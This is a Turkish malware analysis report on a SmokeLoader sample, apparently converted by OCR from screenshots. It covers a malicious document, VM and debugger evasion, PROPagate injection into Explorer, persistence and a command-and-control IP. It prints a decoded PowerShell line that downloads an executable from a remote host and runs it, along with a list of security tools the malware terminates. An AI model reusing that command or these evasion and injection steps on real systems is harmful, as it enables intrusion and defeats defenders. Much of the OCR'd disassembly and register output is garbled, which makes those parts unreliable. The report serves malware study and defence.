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SmokeLoader ailesi, loader turane ait bir zararli yazilim taradur. Yaratalen programin
asil amaci, daha etkili ve yikic bir zararli yazilimi makineye enjekte etmektir. Ik olarak
2011 yilinda ortaya gikan SmokelLoader, gun gectikge gelisen, yeni teknikler kullanan
ve surekli olarak guncellenen bir ailedir.

SmokelLoader, keylogger, bilgi hirsizligi, botnet, sistemlerde backdoor erisimi gibi
amaclar guden bir ailedir. Aslina bakildiginda, saldirganin amaci dogrultusunda
herhangi bir zararl aktivite igin kullanilabilir. E-mailler ve drive-by download yoluyla

yayilir.

Zararl yazilim dinyasinda PROPagate Injection ilk defa SmokelLoader’lar tarafindan
kullanilmigtir. PROPagate injection, asil galisan uygulama disindaki bir uygulamaya
gizli bir kod enjekte ederek, zararh kodun farkli bir uygulama tarafindan ¢alistiriimasini
sagdlar.




SHA1
SHA256

ik Gériildiigii
Tarih

B C\Windows\System32\cmd.exe
to a file, for example
all objects at once.

use specified directory to save output files.

"-s 2". Use "-s all” to save

-d OUTPUT_DIR

C:\Users \Desktop’ \Office\OfficeMalScanner>rtfebj -s all sample.doc
rtfobj 0.55.£ on Python o.:.s - http://decalage.info/python/oletools

THIS IS WORK IN PROGRESS - Check updates regularly!

Please report any issue at https://github.com/decalagez/oletools/issues

‘sample.doc’ - size: 1152096 bytes

[, b m oo o e
id lindex I0LE Object
[, fm m o m e e

1000F589Fh INot a well-formed OLE object
R, fm m e e
Saving raw data in object #0:

saving object to file sample.doc_object_©0OFS89F.raw

mdS a%9a2ceBb6152fF406d2794c2d2722385

enle ¥ Ag

Sik Kullanilanlar
Kargidan Yiklemeler
[I Masausti

» Son Yerler

Kitapliklar
Belgeler
Muazik
Resimler
Video

Bilgisayar

A

20211k049443.doc
67CB98B84A7DB5F2F69023B0C5C08309
9F04A27BB59AC6842EA400C95AF131612BFEOOF9
9F04A27BB59AC6842EA400C95AF131612BFEOOF9

2021-04-13 05:41:34 UTC

&

| OfficeMalScanner.exe

Office » OfficeMalScanner

Bununla paylas ~ Yaz Yeni klasor
Ad Degistirme tarih Tair
Cadtdll
" DisView.exe
LZNT1Decompress.dll

MalHost-Setup.exe
QBJDATA_sample__2.bin

OLE_DOCUMENT_sample_Lbin
RTFScanexe
sample.doc
sample.doc_object_000F589F.raw

Unzipper.dll

icerisinde zararli yazilim olan “.docx” uzantili dosya incelendiginde, icerisinden OLE objesi
ciktigi tespit edilmistir. Bu dosya icerisinden “bit[.]ly/3e0Rjks” baglantisina ulasiimaktadir.

a on_ Python F-7-7 —
IS WORK IN PR €8 — Check updates wregulam
se report any 1e at https:-/~’github.comrdec

age2 oletools.”

IBEOF589Fh !Hot a well—Fform OLE object

raw_d o ct
arina obicct to file sanple.doc_obicct BBOFSOFF_iau
D esktophisample.doc_object 000FSSSF.raw]
8] Desya Dizenle

Ara Go&ronim Analiz Ekstralar Pencereler Wardim

[=]| windows (ansn

[=]] hex

- | 1 - 16

[l sample.doc_cbject 000F582F.raw

Offset (n) oD

http:-decalage.info pythonsoletools

L.mCe. .
Address.Seh. ..

=E
&....ExpandEnvir
onmentStringsW.s

cateProcesshAsUse
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Ismi pkM3T1.jpg
9FBD32C6BB25F6A660696FA9830C5040
SHA1 1E41347D36792E823A8982B10170D83A0722E3CC
SIal. VAl SDE2819F832F06F69009B07779EACABC1B171540B10689B4B23EAACSF3232E14

ik
Gorildigi
Tarih

Elde edilen Autolt scripti ile PowerShell Gizerinden dosya indirildigi tespit edilmistir.

(8) Exe2Aut - Autolt3 Decompiler [ e =)
c: 1854 5 .

Blobal $v:

“IAAocAE4ARQB3AC0AbwBiAGoARQBjAHQAIAACIGAATgBgAGUAYABUAGAALgB
gAFCAYABIAGAAQYBJAEMAYABSAGAAaQBgAGUAYABOAGAAVAAIICKALgBEA
G8AdwBUAEWAbwBBAGQAZgBJAGWARQAOACAAHSBOAHQAJABWAHMAOQgAVA
C8AdQAUAHQAZQBrAG4AaQBrAC4AaQBvACBAMgA4AGBATABXAC4AagBWAGCA
HSAgACWAIAAJICQARQBOAHYAOgBOAGUAbQBWAFWAZQBWAEQAdwBBAEMA
Q9gBOAHAAVWAUAGUAeABIABOgIAApACAAOWAgAHMAJABBAFIAdAAgABOgJAB
FAE4AdgA6AHQAZQBtAHAAXABIAFYARAB3AEEAQWBCAHQACABXACA4AZQBA4A
GUAHSA="

Yukaridaki Base64 kodu decode edildiginde asagidaki komutun c¢alistiriidigi
gOzlemlenmistir.

“(NEw-0bjEct 'N'e'T."W'e B'C'l'i'e’N'T ).DownLoAdflIE(https://u.teknik[.]io/280LW.jpg ,
$ENv:temp\eVDWACBtpW.exe ) ; stARt $ENv:temp\eVDwWACBtpW.exe “

PowerShell DownloadFile komutu ile “u.teknik[.]Jio/280LW.jpg” baglantisindan
“eVDWACBtpW.exe” dosyasini “‘temp\” dizini altina indirdigi tespit edilmistir.
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0D1334075336455A13A36FD909417556
4F1937FOEEEB697EF992547701295134FDE65C20
gV VAl 33D7FA2A8936CC5064B63592B77F87C02FCDC1396395AE2316E3A7C783523AD9
ik
Gordldagi ---
Tarih

Dinamik Analiz

API Obfuscation

Zararl yazilm GetModuleHandleA API ile bir modulin handle’ini aldigr gozlemlenmistir
bdylelikle APl Obfuscation teknigi ile statik analizi daha zorlu hale getirmesi
amaclanmaktadir. DLL’leri runtime aninda c¢o6zumledigi gibi, APl'lari da runtime aninda
¢ozimlemektedir.

. C785 EBFDFFFF 010000(mov dword ptr ss:[ebp-Zis8@,1
. BESD 08 mov ebx,dword ptr ss:|[[ebp+sf]
. ES 09000000 call evdwacbtpw.401EGE
By -------------m oo . v 73 62 jaes ewvdwacbtpw.401EC9
. 8965 64 6C&CO000 imul esp,dword ptr ss:|[Jebp+e4],sC6C
. SE pop esi
. B0O3E 00 cmp byte ptr ds:[esi],0
[EEEE v 74 11 je evdwacbtpw.401E85
1 . 5E push esi
EIF, — FF52 48 call dword ptr ds:[ebx+48]
! . 85C0 test eax,eax
poomosssosconosag|o i----w ~ OF85 EAOQOOC000D jne ewvdwacbtpw.401F6A
| ! . B3CE 0B add esi,g esi:"sbied11"
0 T . ~ EB EA jmp ewvdwacbtpw. 401E6F
! L ES 2C000000 call evdwacbtpw.401EB6
! . 53 push ebx
[ it . v 79 73 jns ewvdwacbtpw. 401F00
H [Prorrrereemeneoonos . v 74 65 je evdwacbtpw.401EF4
[ . 6D insd
[ . 5C pop esp
0] | . 43 inc ebx
[ P gmmmmmmm o m oo . v 75 72 jne ewvdwacbtpw.401F06
f ' :l --------------- . v 72 &5 jb evdwacbtpw.401EFE
| |
H i . (53 outsh
[ R Rl . v T4 43 je evdwacbtpw.401EDC
g gung . &F outsd
g gung . 6E outsb
[ [ [ posscssoscos . v 74 72 je evdwacbtpw.401FOF
{ ! :: . . &F outsd
H i [ . [ insb
NN . 53 push ebx
e . v B5:i7T4 5C je evdwachtpw.401EFF
slpgoangt . 53 push ebx
[ [ 0 [Foocsmes . v B5:72 76 jb evdwacbtpw. 401F1D
[ A B . 6963 65 7ISC4463 imul esp,dword ptr ds:[ebx+&5],69445C73
o |
H i ! ! [ (oom=== . v 73 BB jas ewvdwacbtpw.401F1E
A . 5C pop esp
| | hf o :
| | ] ! : i1 . 45 inc ebp
R . 6E outsb
[ [ 0 I v 75 &D jne ewdwacbtpw.401F22
R R A A A . 0058 8D add byte ptr ds:[eax-73],bl
R . BS EC mov ch,EC
ookttt ol ot ! o
dword ptr [ebx+48]=[000CFF1C <&GetModuleHandleAx]=<kernel3z.GetModuleHand]eaAx>

. text:00401E75 evdwacbtpw.exe: $1E7S #1075

y




00401CEB FF q
00401EBC FF56 BA call dword ptr ds:[esi+6A]
00401EBF 016A 00 add dword ptr ds:[edx],ebp
00401EC2 50 push eax ax: "system\\CurrentControlset\\services\\Disk\\Enum"
00401EC3 68 02000080 push 80000002
FF93 9C000000 call dword ptr ds:[ebx+9C]
00401ECE 5C0 test eax,eax ax: ' system\\CurrentControlset\\Services\\Disk\\Enum"
00401EDO ~ OF85 92000000 1ne evdwacbhtpw.401F68
00401ED6 8D85 F4FDFFFF ea eax,dword ptr ss:[Jebp-20C] [ebp-20C]:&L"Abied11"
00401EDC 66:C700 3000 mov word ptr ds:[eax],30 eax: "system\\CurrentControlset\\Services\\Disk\\Enum"
00401EE1 8DBD F8FDFFFF lea edi,dword ptr ss:|lebp-208]
00401EE7 8D8D FOFDFFFF lea ecx,dword ptr ss:[ebp-210]
00401EED €701 04010000 mov dword ptr ds:[ecx],104
00401EF 3 51 push ecx
00401EF4 57 push edi
00401EF5 6A 00 push 0
00401EF7 6A 00 push 0
00401EF9 50 push eax eax: "system\\CurrentControlset\\services\\Disk\\Enum"
00401EFA FF36 push dword ptr ds:[esi] [esi]:EntryPoint
00401EFC FF93 A0000000 €alll dword ptr ds:[ebx+A0]
00401F02 85C0 test eax,eax eax: "System\\CurrentControlset\\Services\\Disk\\Enum"
00401F04 ~ 75 62 jne evdwacbtpw.401F68
00401F06 FF36 push dword ptr ds:[esi] [esi]:EntryPoint
00401F08 FF93 A4000000 €alll dword ptr ds:[ebx+A4]
00401F0E 31C0 XOr eax,eax ax: "Ssystem\\CurrentControlset\\Services\\Disk\\Enum"
00401F10 89FE mov esi,edi
00401F12 57 ush edi
00401F13 AC ods
00401F14 84c0 test a'\ a]
ANANITIE 74 _na = An1rao

m

dw;rd p

r [ebx+9C]=[000CFF70 <&RegOpenKeyExA>]=<advapi32.RegOpenKeyExXA>

. text:00401EC8 evdwacbtpw.exe:$1EC8 #10C8

Yukaridaki gorselde goruldugu Uzere bilgisayarin sanal olup olmadiginin kontrolini yapmak
icin “Disk/Enum” altindaki tim registerlari okumaktadir. RegOpenkeyExA AP/I’1 ile belirtilen

kayit defterinin anahtar degerlerine ulasildigi tespit edilmigtir.

FF53 38
83C4 08
85C0

00401F5F
00401F61

-
mm
m
>

EB 0A
C785 EBFDFFI
EB_OF

D377 15

CcC

B8 531E0000
EB 07

D377 15

cc

00401F85 ~ EB F3
& 00401F87
@ 00401F8A
00401F8B v 77 15

& 00401F8D cC

L CIO-lOlFBE B9 4E010000
L B 07

.

L

C
E8 BAF1FFFF
8B85 EBFDFF
e

call dword ptr ds:[ebx 38]
add esp,8
test eax,eax
jne evdwachtpw.401F6A
add esi,A
jmp evdwachtpw.401F52
Jmp evdwachtpw.401F74
mov dword Etr ss:[lebp-21801,0
jmﬁu evdwacbtpw.401F85

dword ptr ds:[edi+15],cl

E]
=

2

in
muv eax,1E53
[il evdwachtpw 401F88
dwcrd ptr ds:[edi+15],cl

]mp evdwachtpw 401F7A
shr bl,F

iretd

]a evdwachtpw 401FA2

mﬂv ecx, 141

jmp evdwachtpw 401F9C
iretd

Ja evdwacbtpw.401FAD
int3

jmp_evdwachtpw.401F8E
int3

call evdwacbtpw.401155
FF mov eax,dword ptr ss:|[[ebp-218]

P

esi:"qemu” [

edi+15: "&prod_vmware_virtual_s\\5&22be343f&0&000000"

edi+15: "&rod_vmware_virtual_s\\5&22be343f&0&000000"

e

1 A\ ELIYAIA
»

.text:00401F59 evdwachtpw.exe: $1F5

Kl
dword ptr [ebx+38]=[000CFFOC <&strstr>]=<ntdlT.strstr>

9 #1159

&4 Dokim1 | iy okim2 | gl Dokim3 | gl Dakim# | @ Dokims [ 8 tde 1 [ el verel Detiskenier [ 7 vap | e
Adres_|Hex ASCIT ~] ooock
0040160 80 e
00401ET 85 @ 55ck
00401EE 8D O]
00401EF 6A R
00401F( 36 000CH
00401F] 04 e
00401FJ7L )
00401F3 6C e
00401F7 GE Goh
00401Ff 56 000CH
00401 ca ¢ oot
< + L

Registerlar igerisindeki degerler alindiktan sonra, bu degerleri “gemu, virtual, vmware,

xen” ile

karsilastirmaktadir.
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Return Abuse

FD sTd -
FF |l!
FF5F SE callifar fword ptr ds:[edi+5E]
5B op ebx
c9 eave
=E— c2 0400 ret 4

Aligilagelmis olan “ret” komutu yerine burada “ret 4” komutunu gérmekteyiz. Program statik
analizi zorlastirmak ve EDR’lari atlatmak icin hem DLL’leri hem de APl'lari ¢alisma aninda
decode edip galistirmaktadir.

Bir anti-debug teknigi olarak CALL cagrilarinin donus adreslerini de degistirmektedir. RET
komutunun yanina yazilan deder, stack’in sonundan deger kadar byte’l siler ve donus adresini
degistirir.

PROPagate Injection

VM kontrolinden sonra “AllocateVirtualMemory-OpenProcess-MapViewOfSection”
APTI’lari kullanilarak Explorer.exe igerisine zararl kod enjekte ettigi tespit edilmistir. Kod
enjekte olduktan sonra sanal bellek bélumu ayrilmaktadir.

Sanal bellek bolimu, OpenProcess ile Explorer.exe’nin handle’ini almaktadir.
MapViewOfSection ile zararl kod bir sanal bellek boliumune yaziimaktadir.

Windows Explorer, Subclasslar't olduk¢ca fazla kullanan, islem alaninda oturum acmis
kullanici igin bir ayricalik vermeden erisilebilir kilan bir buttnlik duzeyinde galisir. Bu yluzden
bu teknigin kullanimi icin son derece uygun hedef bir process’tir. Bir subclass penceresi
SetProp API'1 ile oldukga kolay bir sekilde degistirilebilir. Su adimlari uygulayarak gegerli bir
subclass degisikligi yapiimaktadir:

1- CALL EnumChildWindows
2- CALL EnumPropsA
3- CALL SetPropA

Bu sekilde bir Subclass’in entry point’i degistirilmis olur. Bu degistirilen Subclass genellikle
“Progman” olur ¢uinkli Windows 7 ve 10’da ortak olarak bulunur. Entry point zararli kodun
baslangic adresi ile degistiriimektedir ve bu pencere her c¢agrildiginda zararli kodun
cahistinldigi tespit edilmigstir.

B cru | @ Grafic | |bGunlik | [1lNotar | ® Kesmenokisan | P Hafiza | () anGagnlen | i sen | lof KomutDosyley | %] semboler | <2k
1

FF93 8C000000 call dword ptr ds:[ebx-8C] — SetProp
L 7 57 push edi

57 pusR edi

BA 4E push 4E

FF75 D4 push dword ptr ss:[[ebp-2C] \

FF93 84000000 €@l dword ptr ds:[ebx+84] Send|

57 push edi /

57 push edi

BA OF push ; q M

FF75 D4 push dword ptr ss:|lebp-2C i

FF93 88000000 Eal} dword ptr ds: [ebx 5] _> S

FF7 push dword ptr ss:|[ebp-1C]
FF53 14 call dword ptr ds:[ebx+11] ems— ZwClose
~ EB OF ﬁ evdwachtpw.4016D8
1 e

8E
7E 15 evdwacbtpw.4016E1
cC nt3
B8 0B150000 mov eax, 150 eax: "UxsubclassInfo"
~ EE 07 ﬁ evdwachtpw 4016DB
E
7E 15 1le_evdwachtpw.4016EC
@e nt3
~ EB F3 jmp evdwacbtpw.4016CD
8CEB mov ehbx
OFBA7E 15 CC btc dworg ptr ds: [esi+15],CC
B9 E9010000 mov ecx,1E9
~ EB 07 jmp evdwachtpw 4016EF
BA 7E15CCEB mov edx,E
F3:8BE8 mov aW ch
&1 ]

i
dword ptr [ebx+8C]=[000CFF60 <&SetPropA>]=<user32.SetPropA>

.text:004016A1 evdwachtpw.exe:$16A1 #8A1

SetProp’tan sonra SendMessage ve SendNotifyMessage APl’lari ile entry point’i
degistirilen pencerenin tetiklenmesini ve zararli kodun c¢alistiriimasini saglamaktadir.
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Runtime aninda ¢oziilen ve kullanilan APPlar

GetModuleHandle

RegOpenKey

RegQueryValueKey

OpenProcessToken

GetVolumelnformation

CreateFileMapping

MapViewOfFile

GetModuleFileName

CreateEvent AllocateVirtualMemory DecompressBuffer GetShellWindow
GetWindowThreadPrid UnmapViewOfSection ZeroMemory OpenProcess
GetTokenInformation CreateSection MapViewOfSection EnumChildWindows
EnumProps GlobalGetAtomName MoveMemory SetProp
SendMessage SendNotifyMessage

Enjekte Edilen Shell Kod

Explorer.exe igerisine enjekte edilen zararl kod thread olusturur. Yeni bir pencere acildiginda
bu thread galismaya baslar ve Process32First-Process32Next API’larini kullanarak agik olan
bittin process’lerin isimlerini elde ettigi gértlmektedir.

Hafizasinda kayith olan blacklist'i kendi encode fonksiyonuna gondererek calisan processler

ile karsilastirmaktadir. Eslesme durumunda Sleep API'1 igerisinde bulunan

TerminateProcess API'l ile process kapatilmaktadir.

Encode kodu:

https://github.com/ZAYOTEM/smokeloader_string_enc/blob/main/smokeloader_string_enc.py

48:83EC 20

48:895C24 08
48:897424 10

mov al,byte ptr ds:[rex]
mov ré,rcx

xor edx,edx

jmp 2984CF7

and al,DF

movzx ecx,al

mov eax,ecx

xor eax,edx

moy edx, eax

rol edx,8

add edx,ecx

inc r8

mov al,byte ptr ds:[r8]
test al,al

jne 2984CE1l

mov eax, edx

ret

int3

int3

int3

int3

int3

int3

mov gword ptr ss:|[frsp+8], rbx
mov qword ptr ss:[rsp+10], rsi
push rdi

sub rsp,20

f“Oﬂ"% <[ FPu Gizle

rox:

talta

RAX  0000000000000001
RBX  0000000000000D5C
RCX 0000000007 E5F6FC
RDX  0000000000000000
RBP  0000000000000000
RSP 0000000007ES5F6A8
RSI  0000000000000000
RDI  0000000000000000

ecx: "[
ecx:"[

T

R8 0000000007E5F800
R9 0000000007E5F70D
R10  0000000007E5F49E
R11  0000000000000000
R12  0000000000000000
R13  0000000000000000
R14  0000000000000000
R15  0000000000000000

"[System Process]"

Varsaylan (x64 fastcall)
1: rcx 0000000007E5F6FC
2: rdx 0000000000000000
3: r8 0000000007E5F800
4: r9 0000000007E5F70D

5: [rsp+28] 0000000000000130

1

"[System Process]"]=58 '["

|5 &

System Process

Kiltsiz

y




Elde edilen process blacklist:

Autoruns.exe ollydbg.exe procmoné64.exe x32dbg.exe

idaw.exe procexp.exe x64dbg.exe windbg.exe

procexp64.exe procmon.exe idag.exe Tcpview.exe
idaw64.exe idaq64.exe Wireshark.exe ProcessHacker.exe

By | Bk | LdGonik | [ Nelar | ® KesmeMNokilan | ™M hafiza | [ vignGagrlan | SsEH | lof KomutDosyas: | %) semboler | <> Kaynak | ' Referansar | ‘9 fsPargackian | o Tut
[ 00000000028D3 48:8BC8 mov rox,rax rcx: "taskhost. exe
®| 0000000002803 C74424 20 30010(mov dword ptr ss:[Irsp+200,130
@[ 0000000002803 FF15 11470000 call_gword ptr ds: [<&PrDce5532F1 rst>]
0000000002803 - EB 46 mp 28D3B7F
L 28D3 48:8D4C24 4C ea rcx,qword ptr ss:[Irsp+4cl
A— E8 95110000 call <Encode>
of 48:8D15 86DSFFFF lea rdx,qword ptr ds: [28010D0]
[, 35 548AC015 xor eax,15C08A54
45:33C0 xor r8d,r8
3902 cmp dword ptr ds: [rdx],eax
- 74 12 je 28D3B68
41:FFCO inc r&d
10000000 BD 48:83C2 04 add rdx,4
00000000028D3 49:63C8 muvsxd r(x r8d ‘taskhost.exe”
0000000002803 48:83F9 OF taskhost. exe"
00000000028D3 -~ 72 EC 1b ZBDZBSZ
0000000002803 - EB 09 Jmp 28D3B71
00000000028D3 8B4C24 28 mov_ecx,dword ptr ss:[Irsp+28[
00000000028D3 E8 EF080000 call 2804460
00000000028D3 48:8D5424 20 lea rdx,qword ptr ss:[irsp+20
@ 00000000028D3 48:8BCB mov_rcx,rbx rcx: "taskhost. exe”
@ 0000 )028D3 FF15 01460000 |call qword ptr ds:[<&Process32Next>]
0000 )028D3 85C0 test eax,eax
& 0000 )028D3 -~ 75 B6 jne 2BD3B39
@ 0000 )028D3 48:8BCB mov_rcx,rbx rex: "taskhost. exe”
@ 0000 )028D3 FF15 D4450000 |call qword ptr ds:[<&TloseHandle>]
@] 0000/ )028D3 B9 64000000 mov_ecx, cx: "taskhost.exe"”, 64:'d’
@/ 00000000028D3 FF15 D9450000 |gall qword ptr ds:[<&STleep>]
®| 0000000002803~ F9 71FFFFFE imn_78N3R0ON
« i
<Encode>
00000000028D3B3E
Whoom: | gypskm2 | wyoskm3 | ypeims | wosums | @ tde 1 | el verel Degigkenier [ 7 vam | %
Adres Hex <l oo0
0000000002801 24 5C C5 11]C3 B2 FC B4 D6 OF 18 63CD B5 DD BC |4\A,A2 oo
00000000028D10B F7 0A 60|CC A8 F2 Al (9B 0D C8 60 FF 81 F4 6B |.=. I'0j 000
00000000028D1C3 92 D2 AA|DF ED BC 37 D8 EO BC 09 8D A7 D2 4B 000
00000000028D1fA7 Al D2 4B |08 40 49 4E |08 40 63 74|00 00 00 00 §|0K @IN.@ct. 000
0000000002801 88 3B DO F6 (82 FF 49 5A[B9 79 BL B1|BY 79 Bl 35 |.;D0.VIZ y=x" nnn

Encode fonksiyonunda Process32First API ile alinan process ismi sifrelenir ve hafizadaki
blacklist elemanlari ile karsilastiriimaktadir. Bir eslesme durumunda ise CloseHandle API’i
kullanilarak process kapatiimaktadir.




durumunda buradan ¢alistigi gézlemlenmektedir.

4
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Yeni bir dizin olusturan zararli yazilim bu dizine kopyalanir ve makinenin tekrar baslamasi

ik | (vwoter | v | bt | 0 oot | = s somutDosyes | @) senboter | < xamsk | o Refworde | ' 1y pagackion | s Tutamager | 71
881D C7FIFFFF  mov ebx,dword ptr ds:[2€11173]
48:88BC8 mov er rax £eu.Glzle
48:8BES mov RAX 0000000000000001
FFi5 98610000 | gall r’v-md ptr ds: [<&1strienas] REX  00000000AO0B4FEL
dg(:gtms mov rdx,rbp RCX  0000000002C16D5D L"C:\\Users\ @D\ \AppData\ \Roaming\ \Microsoft\\windows\\res tdtad"
XOr ecx,ecx RDX 0000000000000000
44:88C0 mov_r8d, eax RBP  0000000006CFSIE0  “http://94.140.115.43/1/"
- GEL5 322300005 | _guord ptr. ds: [SMREICONRERIINN] RSP 00000000040BFDB0  &L"C:\\Users\'BP.\Downloads\\eVOWACE tpW. exe"
9 4125002000000 4 RSI  0000000002C14A3F
g fon "V' eax, ebx RDI  00D0000002C163FF ics\\users\ (I \DownToads\\eVORACB tpi. exe”
p-| o RS 0000000012020E1A
q % R9  0000000077160000  kernel32.0000000077160000
- 90 R10 OODDDOOGOUDDV(”'
o 90 R11  0000000000000003
49:3807 mov rdx,rls R12  0000000002c15350  L"C:\\users\ QD \AppData\\Roaming\\Wicrosoft\\Windows\\restdtad"
48 mov_rcx, rd RI3  0000000000000003
rns zsbzoooo nll qwmd ptr ds:[<&1strempws] R14  0000000000000000
8500 00000 St eax eax 15 0000000002c16855  L"c:\\Users\ @] \appoata\\Roaming\\Wicrosoft\\Windows\\restdtad\\wiagwiei. exe"
F84 AN e 2C
48:8000 65400004'1ea rox,quord ptr ds: [2€16050] RIP 0002C11FF1
3302 xor_edx  edx
FF15 41620000 (call qnmrﬂ Pt sz [<&CreateDirectory) RELAGS  000000000000024€
mov
o ms osezoouo e’ qua ph js : [<&DeleteFilens] L EWLE L
o xor r8d, r8 Varsapkan (64 fastca) » *l 0 sz
M 40: 3007 nov rdx ,1 OZCTE05D TC VU ers QI \APPDAta\\RoanTng W cros 6T\ Windos \\res tatad™
- 48:88CF rex, rd
. ) FFis 51610000 |ERIN aword ptr ds:[<ACopyFilew 2020
. 85¢ st f','ffm'f T O (KRN 77 kerne132.0000000077,
. 0r84 01000000 | j& 2c120¢8 34760 L"C:\\Users\ pData\\Roaming\\Microsoft\\windows\\Start Menu\\Programs\\Startu
. ( : v_rox, rdi & 2143 ker F02C2143
.. o sy e ; 000
aword ptr [0000000003C 18238 <bcreated rectorywnT=dkerne 32 Createbirectoryws I6F6S "A4BCIC03483015E8EBDL 3F SEAS1268EFFB06F B48FF"

Yukarida géruldiga Gzere CreateDirectory API'1I kullanilarak
“WAppData\\Roaming\\Microsoft\Windows” dizini icerisinde “restdtad” isimli bir dizin
olusturmaktadir.

L] @ oot | [ Joums | ot Nohswan | W8 vaton | (0 non Godrien | 40 s0m | ) omitDosyae | @) sanboter | €3 xaymek | 4 Referansiar | 0ty pargachian | b Tsmager | ¢! 12
8810 CIFIFFFF x,dword ptr ds:[2€11173] PU_Gi
48: 88C X, rax r FPU Gizle
8 RAX  0000000000000001
s [<81strlenas] RBX

00000000A0084F £ 1
g I

Down 10
AppData
3/1/"

02 16 EVDWACBEDW. exe”

\Roaming\\Microsoft

D2C16855
0000000006CF 51E0

Bco
i

. 330000 | Ei’ umu rd ptr ds: [<8RIComputeCreIzs] prsvrreres
: 4136003000000 (mov' T35 0000000003C 143"
o & - il 0000000002C163F F L C:\\Users Down10ads \\eVOWACB tpW. exe”
. 30 0000000000000000
- % 00000000QGCFS1EQ  "http://94.140.115.43/1/"
o 20 0000000000000
. 90 0000000000000246 L
- 49: 86D mov rdx, 0000000002C15350  L" \lrev‘- AppData\\Roaming\\Microsoft\\Windows \\restdtad"
48: 8BCF mov_rexrdi 0000000000000003
FE15 138620000 |G aword ptr s (<Blstromus) 0000000000000000
eax, eax 0000000002C 16855 vrc:\\users @I\ Appoata\\Roaming\\Microsoft\\windows \\res tdtad\\wiagwie1 . exe”

0784 AAD00000 r' C12

'Hl RUOI) BE4DOOO( n re
e

Cl'” awo

mov 1
can ll»vmd Pre

52
aword ptr ds:
Ix

d ptr

2€16050)
: [<&CreateDirectoryws)
: [<8DeTeter|lews)

0000000002C12009

FF |s o 41620000
49:

FF |s um.mmu
45:33¢

RFLAGS  0000000000000246

arsapdan (64 ta
T

\windows \\restdtad\\wiagwiei.exe"

-] 0 ez

A‘) Anu rdx rex Dmﬂﬂﬂ?( TGP TTC:\\Users’ \Down Toads \ \eVOWACB tpW ., exe’
I rdx_0000000002C16855 L"C:\\User \AppData\\Roaming\ \Microsof t\\windows\\res tdtad\\wiagwiei . exe"
rns "b1610000 <&copyFilews) | r8 3
85C0 te: o r9 0000000006CF 51€0 hnp //'H 140.115
0684 01000000 | je z(nou 5peg0] 00000000008347E0 :\\Users Aypll.\ln»«Mn.mmqnv\M(n)*.lvH\\mlmhm‘.\ Start Menu
48: 8BCF rex, rdi FEF leu kerneibase. FD2C2143
-, = o D] 0000000000 1F 00

0000000000000
0000000002C16F65
[répe48] 0000000000000000

qword ptr [0000000002C 18160 <&CopyF 1 Tews] =ckerna 12, CopyFiTe

"AABCICOI48 30156 BEBD1IFSE451 2685 FFBO6F BABFF"

Olusturulan dizin icerisine CopyFileW API'I kullanilarak zararli

“‘wiagwiei.exe” olarak degistirilip kopyalanmaktadir.

yazihmimizin

Bou 9@»&}' | = riaten | () e Gadrten | Smsen |

\Programs\\S,

ismi

Son kullanicinin zararl yazihmi tespit etmesini zorlastirmak igin DeleteFileW API'1 ile
calistirilan zararli dosya silinmektedir.

I KomDosyan | @ sentoler | < Komer | - retersser | W iypercacken | & Tutsmeg | €71z |
. C 20 - FPU Gizle
. ( 90
. 90 RAX  0000000000000001
. 9 RBX  00000000A0084FEL Lond
5 [l Rex 000 IFF L"C:\\Users\ \Downloads\\eVDWACBtpW. exe”
48:88CF £ RDX  0000000000000000 -
FF15 38620000 : [<&1strempw>] RBP  0000000006CE51EQ “http://94.140.115.43/1/"
85¢ RSP 000000000408FD8O
grs4 aa000000 | e RSI  0000000002C14A3F
el e L XB0SD] T | RDI  0000000002C163FF ez \\users @) \0own10ads\\evowac8 tpw. exe™
:s} 322620000 ﬁ:",f:mf'_’ thr ds: [<&CreateDirectoryw>] . |es 000000000408EC4S
L5 08620000 T st e e — RS 0000000006CFSIEO “http://94.140.115.43/1/"
5513:00 B quord peoe: ERREERNNG) R10  0000000000000000
49:8807 r R11 000000000408FD30
48:88CF v rox,rdi r | R1z - ooooo0000zcis3so Lre:\\users @I \Appoata\\Roaming\\Wicrosof t\\Windons\\ res tdtad”
FF15 D1610000  E&NN qword ptr ds:[<&CopyFilews] R13 0000000000003
85¢ test eax,eax K11 0000000000000
0F84 01000000 je 212088 Ris  000000000zc16855  Loc:\\users @M Appoata\\Roaming\\wicrosoft\\windows\\restdtad\\wiaguiei . exe”
:88CF oV’ rc .
FF15 E8610000 (call quor ra presgssi<sneleter lew] {8 | RIP  0000000002C1201A
41:804D 10 Tea ecx.guord ptr-ds: (r13:10] e
kS ianey f'" 2014854 e RFLAGS  0000000000000202
it ea ccx r(wcurd ptr ds:[r13:19] el 1250 Pr o A O
-
- gs uzsoooo ull 2cinsa - WW s, 0
< 3 : 007CT6 3 TC v Users WD 0w Toade  \eVORACB Tow. €xe
. 388657 r Féx 0000000000000000
. 002C12 49:88CC r r8 000000000408FC48

=



,’

Network Analiz

Explorer.exe igerisinde olusturulan bélimdeki “94[.]140[.]115[.]43” IP adresi, komuta kontrol
sunucusu olarak kullaniimaktadir. Bu sunucuya istek atildiginda cevap olarak HTTP 404
donmektedir. Donen cevabin headerinda payload oldugu tespit edilmistir.

4
|

Hacker View Tools Users Help
@2, Refresh £73 Options | @8 Find handles or DLLs =28 System information | [ b4 Search Processes (Ctrl+K) jo
> P! !
Processes | Services | Network | Disk
I
~ | Privateb... User name Description o
= explorer.exe (3300) Ozellikleri (== ][=] ] ; -
25,76 MB Windows Hizmetleri igin Ana ...
General | Statistics I Performance I Threads I Token I Modules | 561 MB Biriktirici Alt Sistemni Uygulam...
Memory | Environment I Handles I GPU I Comment | 11,456 MB Windows Hizmetleri igin Ana ...
316 MB Windows Hizmetleri igin Ana ...
[7]Hide free regions 299 MB VMware Guest Authentication...
R - 1218 MB G \incows Garevleri 1g|n Ana Bi... eax
Base address Type Size  Protect... Use *
& & 98 MB VMware Tools Core Service
R ] "
Dxca7a000 Private: Commit BB RW4G  Sta 36,81 MB Microsoft Windows Search Di...
Oxdc6f00 Private: Commit 12kB RW+G _ Stack
0x2930000 Mapped: Com... 84kB RWX ) explorer.exe (3300) (0x2980000 - 0:2995000)
0x29a0000 Mapped: Com... 4kB  RWX
0x4210000 Private: Commit 4kB  RWX 000049e0 48 89 Sc 24 08 57 48 83 ec 20 Of bé 39 48 &b 49 H.\%.WH.. ..9H.. -
0x4420000 Private: Commit 64kE RX 000045£0 8d 47 01 48 63 c8 e8 f£d 04 00 00 4c &d 5b 01 4c .G.Hoc...... L.[.L
Ox 73721000 Image: Commit 4kB RX 00004200 2b c0 40 84 ££ 90 90 e2 00 00 00 00 Se 48 83 cf ..0...u..... ~H
